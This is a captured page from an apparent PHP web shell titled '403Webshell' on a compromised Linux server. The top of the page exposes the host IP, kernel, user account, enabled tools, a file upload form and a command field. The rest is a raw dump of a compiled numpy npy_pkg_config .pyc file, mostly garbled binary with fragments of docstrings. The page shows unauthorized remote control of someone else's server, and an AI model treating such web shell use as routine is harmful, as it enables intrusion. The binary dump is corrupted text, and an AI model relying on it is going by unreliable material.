403Webshell
Server IP : 217.160.0.135  /  Your IP : 216.73.216.115
Web Server : Apache
System : Linux www 6.18.52-i1-ampere #1203 SMP Mon Sep 14 18:29:59 CEST 2026 aarch64
User : sws1074145052 ( 1074145052)
PHP Version : 8.3.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/lib/python3/dist-packages/numpy/distutils/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python3/dist-packages/numpy/distutils/__pycache__/npy_pkg_config.cpython-311.pyc
�

���c�2���ddlZddlZddlZddlmZgd�Zejd��ZGd�de��Z	Gd�de��Z
d	�Zd
�ZGd�d��Z
Gd
�d��Zd�Zd�Zd�Zd�Zd;d�Zd;d�ZiZd;d�Zedk�rtddlmZddlZe��Ze�dddd���e�dddd���e�d d!d"�#��e�d$d%dd&���e�d'd(d)�#��e�d*d+dd)���e�d,d-d.�#��e�ej��\ZZ e!e ��d/kre"d0���ej#rBejd1��Z$e$D]/Z%ee%��Z&e'e&j(�d2e&j(�d3e&j)�����0e d4Z*ej+�,d5��Z-e-ree*d6d7e-g��Z&nee*d6d7g��Z&ej.rej.Z.nd8Z.ej/rWej0d9ej/��Z1e1se"d:���e1�2d4��Z(e1�2d/��Z3e3e&j4e(<ej5re'e&�5e.����ej6re'e&�6e.����ej7re'e&j7��ej8re'e&j7ej8k��dSdSdS)<�N)�RawConfigParser)�FormatError�PkgNotFound�LibraryInfo�VariableSet�read_config�parse_flagsz\$\{([a-zA-Z0-9_-]+)\}c��eZdZdZd�Zd�ZdS)rzQ
    Exception thrown when there is a problem parsing a configuration file.

    c��||_dS�N��msg��selfrs  �@/usr/lib/python3/dist-packages/numpy/distutils/npy_pkg_config.py�__init__zFormatError.__init__�
�������c��|jSrr
�rs r�__str__zFormatError.__str__�	���x�rN��__name__�
__module__�__qualname__�__doc__rr�rrrrs<���������������rrc��eZdZdZd�Zd�ZdS)rz3Exception raised when a package can not be located.c��||_dSrr
rs  rrzPkgNotFound.__init__rrc��|jSrr
rs rrzPkgNotFound.__str__rrNrrrrrrs8������=�=��������rrc��gggggd�}d|z�d��}|D�]d}d|z}t|��dk�rH|�d��r6|d�|dd	�������g|�d
��r6|d�|dd	��������|�d��r6|d
�|dd	��������|�d��r7|d�|dd	��������I|d�|����f|S)a�
    Parse a line from a config file containing compile flags.

    Parameters
    ----------
    line : str
        A single line containing one or more compile flags.

    Returns
    -------
    d : dict
        Dictionary of parsed flags, split into relevant categories.
        These categories are the keys of `d`:

        * 'include_dirs'
        * 'library_dirs'
        * 'libraries'
        * 'macros'
        * 'ignored'

    )�include_dirs�library_dirs�	libraries�macros�ignored� z -�-rz-Ir#�Nz-Lr$z-lr%z-Dr&r')�split�len�
startswith�append�strip)�line�d�flags�flags    rr	r	s���,�R�b��"�	&�	&�A��4�Z���t�$�$�E��*�*���T�z���t�9�9�q�=�=����t�$�$�	
*��.�!�(�(��a�b�b����)9�)9�:�:�:�:�����&�&�
*��.�!�(�(��a�b�b����)9�)9�:�:�:�:�����&�&�
*��+��%�%�d�1�2�2�h�n�n�&6�&6�7�7�7�7�����&�&�
*��(��"�"�4����8�>�>�#3�#3�4�4�4�4��)��#�#�D�)�)�)���Hrc�.�|�dd��S)N�\z\\)�replace)�vals r�_escape_backslashr8Is���;�;�t�V�$�$�$rc�6�eZdZdZd	d�Zd�Zd
d�Zd
d�Zd�ZdS)ra$
    Object containing build information about a library.

    Parameters
    ----------
    name : str
        The library name.
    description : str
        Description of the library.
    version : str
        Version string.
    sections : dict
        The sections of the configuration file for the library. The keys are
        the section headers, the values the text under each header.
    vars : class instance
        A `VariableSet` instance, which contains ``(name, value)`` pairs for
        variables defined in the configuration file for the library.
    requires : sequence, optional
        The required libraries for the library to be installed.

    Notes
    -----
    All input parameters (except "sections" which is a method) are available as
    attributes of the same name.

    Nc�n�||_||_|r||_ng|_||_||_||_dSr)�name�description�requires�version�	_sections�vars)rr;r<r>�sectionsr@r=s       rrzLibraryInfo.__init__gsB����	�&����	�$�D�M�M��D�M����!�����	�	�	rc�N�t|j�����S)z�
        Return the section headers of the config file.

        Parameters
        ----------
        None

        Returns
        -------
        keys : list of str
            The list of section headers.

        )�listr?�keysrs rrAzLibraryInfo.sectionsr� ���D�N�'�'�)�)�*�*�*r�defaultc�v�|j�|j|d��}t|��S)N�cflags�r@�interpolater?r8�r�sectionr7s   rrHzLibraryInfo.cflags�s1���i�#�#�D�N�7�$;�H�$E�F�F�� ��%�%�%rc�v�|j�|j|d��}t|��S)N�libsrIrKs   rrNzLibraryInfo.libs�s1���i�#�#�D�N�7�$;�F�$C�D�D�� ��%�%�%rc�(�d|jzd|jzg}|jr|�d��n0|�dd�|j��z��|�d|jz��d�|��S)NzName: %szDescription: %sz	Requires:zRequires: %s�,zVersion: %s�
)r;r<r=r.�joinr>)r�ms  rrzLibraryInfo.__str__�s���
�$�)�
#�%6��9I�%I�J���=�	?�
�H�H�[�!�!�!�!�
�H�H�^�c�h�h�t�}�&=�&=�=�>�>�>�	������-�.�.�.��y�y��|�|�rr)rF)	rrrrrrArHrNrrrrrrLsx��������4	�	�	�	�+�+�+� &�&�&�&�&�&�&�&�����rrc�<�eZdZdZd�Zd�Zd�Zd�Zd�Zd�Z	d�Z
d	S)
ra
    Container object for the variables defined in a config file.

    `VariableSet` can be used as a plain dictionary, with the variable names
    as keys.

    Parameters
    ----------
    d : dict
        Dict of items in the "variables" section of the configuration file.

    c��td�|���D����|_i|_i|_|���dS)Nc��g|]	\}}||f��
Srr)�.0�k�vs   r�
<listcomp>z(VariableSet.__init__.<locals>.<listcomp>�s ��<�<�<�$�!�Q��1�v�<�<�<r)�dict�items�	_raw_data�_re�_re_sub�_init_parse)rr1s  rrzVariableSet.__init__�sN���<�<�!�'�'�)�)�<�<�<�=�=����������������rc�p�|j���D]\}}|�||���dSr)r]r\�_init_parse_var)rrXrYs   rr`zVariableSet._init_parse�sF���N�(�(�*�*�	'�	'�D�A�q�� � ��A�&�&�&�&�	'�	'rc�X�tjd|z��|j|<||j|<dS)Nz\$\{%s\})�re�compiler^r_�rr;�values   rrbzVariableSet._init_parse_var�s.����K�$�$6�7�7�����"���T���rc����fd�}t�|��r.||��}||krn|}t�|���.|S)Nc����j���D].}�j|��j||��}�/|Sr)r^rD�subr_)rgrXrs  �r�_interpolatez-VariableSet.interpolate.<locals>._interpolate�sD����X�]�]�_�_�
@�
@����������Q���?�?����Lr)�_VAR�search)rrgrk�nvalues`   rrJzVariableSet.interpolate�so���	�	�	�	�	��k�k�%� � �	�!�\�%�(�(�F�������E�	�k�k�%� � �	��rc�N�t|j�����S)z�
        Return the list of variable names.

        Parameters
        ----------
        None

        Returns
        -------
        names : list of str
            The names of all variables in the `VariableSet` instance.

        )rCr]rDrs r�	variableszVariableSet.variables�rErc��|j|Sr)r])rr;s  r�__getitem__zVariableSet.__getitem__�s���~�d�#�#rc�F�||j|<|�||��dSr)r]rbrfs   r�__setitem__zVariableSet.__setitem__�s*��$���t�����T�5�)�)�)�)�)rN)rrrrrr`rbrJrprrrtrrrrr�s������������'�'�'�#�#�#�
�
�
�+�+�+�"$�$�$�*�*�*�*�*rrc���|�d��std���t|�d����}dD]}||vrtd|z����d|vrg|d<|S)N�metazNo meta section found !)r;r<r>z6Option %s (section [meta]) is mandatory, but not foundr=)�has_sectionrr[r\)�configr1rXs   r�
parse_metary�s������f�%�%�5��3�4�4�4��V�\�\�&�
!�
!�"�"�A�
/�%�%���A�v�v�� �"#�$�%�%�
%����?�?���*�
��Hrc��|�d��std���i}|�d��D]
\}}|||<�t|��S)NrpzNo variables section found !)rwrr\r)rxr1r;rgs    r�parse_variablesr{�sb�����k�*�*�:��8�9�9�9�
�A��|�|�K�0�0�����e���$����q�>�>�rc��ttfSr)�meta_d�r)rxs r�parse_sectionsr�s���1�9�rc��d|zS)Nz%s.inir)�pkg_names r�pkg_to_filenamer��s
���h��rc���|r�fd�|D��}n�g}t��}|�|��}t|��dkstdt	|��z���t|��}i}|�d��r-|�d��D]\}}t|��||<�d�|�	��D��}	i}
i}|	D]X}i}
|�
|d��r|�|d��||<|�|��D]
\}}||
|<�|
|
|<�Y|||
|fS)Nc�P��g|]"}tj�|�����#Sr)�os�pathrR)rWr1�filenames  �rrZz parse_config.<locals>.<listcomp>�s)���=�=�=�1�R�W�\�\�!�X�.�.�=�=�=r�zCould not find file(s) %srpc��g|]}|dv�|��	S))rvrpr)rW�ss  rrZz parse_config.<locals>.<listcomp>s#��K�K�K�!��5J�0J�0J�A�0J�0J�0Jrr=)r�readr,r�strryrwr\r8rA�
has_option�get)r��dirs�	filenamesrx�nrvr@r;rg�secsrAr=r�r1s`             r�parse_configr��s}�����=�=�=�=��=�=�=�	�	��J�	�
�
�
�F����I���A��q�6�6�Q�;�;��5��I���F�G�G�G��f���D�
�D�
���+�&�&�2�!�<�<��4�4�	2�	2�K�D�%�*�5�1�1�D��J�J�L�K�v���(�(�K�K�K�D��H��H�
���������Q�
�+�+�	4� �*�*�Q�
�3�3�H�Q�K�!�<�<��?�?�	�	�K�D�%��A�d�G�G��������x��)�)rc	������fd���|��\}}}}d|vr{d|vrw|d}|tjvrtd|�d|d�����tj|}ttj�|j����|d<t|d|d|d|t|���	��S)
Nc�d��t|���\}}}}|���D]�\}}�t|����\}}}	}
|���D]\}}||vr|||<�|	|���D] \}
}|r|||
xxd|zz
cc<�!��||||fS)Nz %s)r�r\r�)�frvr@rA�reqs�rname�rvalue�nmeta�nvars�	nsections�nreqsrXrY�oname�ovalue�_read_configr�s               ��rr�z&_read_config_imp.<locals>._read_configs����%1�!�T�%:�%:�"��d�H�d�!�Z�Z�\�\�	=�	=�M�E�6�-9�\�/�&�:Q�:Q�-R�-R�*�E�5�)�U����
�
�
 �
 ���1��D�y�y��D��G��"+�5�!1�!7�!7�!9�!9�
=�
=�
��v��=��U�O�E�*�*�*�e�f�n�<�*�*�*��
=��T�8�T�)�)r�pkgdir�pkgnamezYou should import z to get information on r;r<r>)r;r<r>rAr@)
�sys�modules�
ValueErrorr8r�r��dirname�__file__rr)	r�r�rvr@rAr�r��modr�s	 `      @r�_read_config_impr�s�����*�*�*�*�*�*�$".��i�!8�!8��D�$��$�
�t���	�T� 1� 1��y�/���#�+�%�%��*�%�g�g�t�F�|�|�5�6�6�
6��k�'�"��*�2�7�?�?�3�<�+H�+H�I�I��X���D��L�d�=�6I���O�h�[��=N�=N�P�P�P�Prc��	t|S#t$r,tt|��|��}|t|<|cYSwxYw)a
    Return library info for a package from its configuration file.

    Parameters
    ----------
    pkgname : str
        Name of the package (should match the name of the .ini file, without
        the extension, e.g. foo for the file foo.ini).
    dirs : sequence, optional
        If given, should be a sequence of directories - usually including
        the NumPy base directory - where to look for npy-pkg-config files.

    Returns
    -------
    pkginfo : class instance
        The `LibraryInfo` instance containing the build information.

    Raises
    ------
    PkgNotFound
        If the package is not found.

    See Also
    --------
    misc_util.get_info, misc_util.get_pkg_info

    Examples
    --------
    >>> npymath_info = np.distutils.npy_pkg_config.read_config('npymath')
    >>> type(npymath_info)
    <class 'numpy.distutils.npy_pkg_config.LibraryInfo'>
    >>> print(npymath_info)
    Name: npymath
    Description: Portable, core math library implementing C99 standard
    Requires:
    Version: 0.1  #random

    )�_CACHE�KeyErrorr�r�)r�r�rYs   rrrFsV��N��g���������_�W�5�5�t�<�<����w���������s��3A�A�__main__)�OptionParserz--cflagsrH�
store_truez*output all preprocessor and compiler flags)�dest�action�helpz--libsrNzoutput all linker flagsz
--use-sectionrLz/use this section instead of default for options)r�r�z	--versionr>zoutput versionz--atleast-version�min_versionzMinimal versionz
--list-all�list_allz--define-variable�define_variablez%Replace variable with the given valuer*z(Expect package name on the command line:z*.ini�	z - r��NPY_PKG_CONFIG_PATHznumpy/core/lib/npy-pkg-config�.rFz([\S]+)=([\S]+)zH--define-variable option should be of the form --define-variable=foo=barr)9r�rdr��configparserr�__all__rerl�OSErrorrrr	r8rrryr{rr�r�r�r�rr�optparser��glob�parser�
add_option�
parse_args�argv�options�argsr,r�r��filesr��info�printr;r<r��environr�r1rLr�rmrS�grouprgr@rHrNr>r�rrr�<module>r�s"��
�
�
�
�	�	�	�	�	�	�	�	�(�(�(�(�(�(�&�&�&���r�z�+�,�,��	�	�	�	�	�'�	�	�	������'����(
�(
�(
�T%�%�%�F�F�F�F�F�F�F�F�PB*�B*�B*�B*�B*�B*�B*�B*�H
�
�
� 	�	�	�������"*�"*�"*�"*�H"P�"P�"P�"P�P
��,�,�,�,�f�z���%�%�%�%�%�%��K�K�K�
�\�^�^�F�
���j�x��G��I�I�I�
���h�V�L�4��6�6�6�
���o�I�L��N�N�N�
���k�	�,�+��-�-�-�
���)�
�,��.�.�.�
���l��L�,��.�.�.�
���)�0A�B��D�D�D��'�'���1�1�O�W�d�
�s�4�y�y�1�}�}��j�C�D�D�D���L���	�'�"�"���	L�	L�A��;�q�>�>�D��E�4�9�9�9�d�i�i�i��9I�9I�J�K�K�K�K��A�w�H�
�
���,�-�-�A��M��{�8�&E�s�A�%N�O�O����{�8�&E�s�%K�L�L������/������� ��B�I�(�'�*A�B�B���	��*�B�C�C�
C��7�7�1�:�:�D��G�G�A�J�J�E���	�$���~�$�
��d�k�k�'�"�"�#�#�#��|�"�
��d�i�i�� � �!�!�!����
��d�l������3�
��d�l�g�1�1�2�2�2�2�2�y��v3�3r

Youez - 2016 - github.com/yon3zu
LinuXploit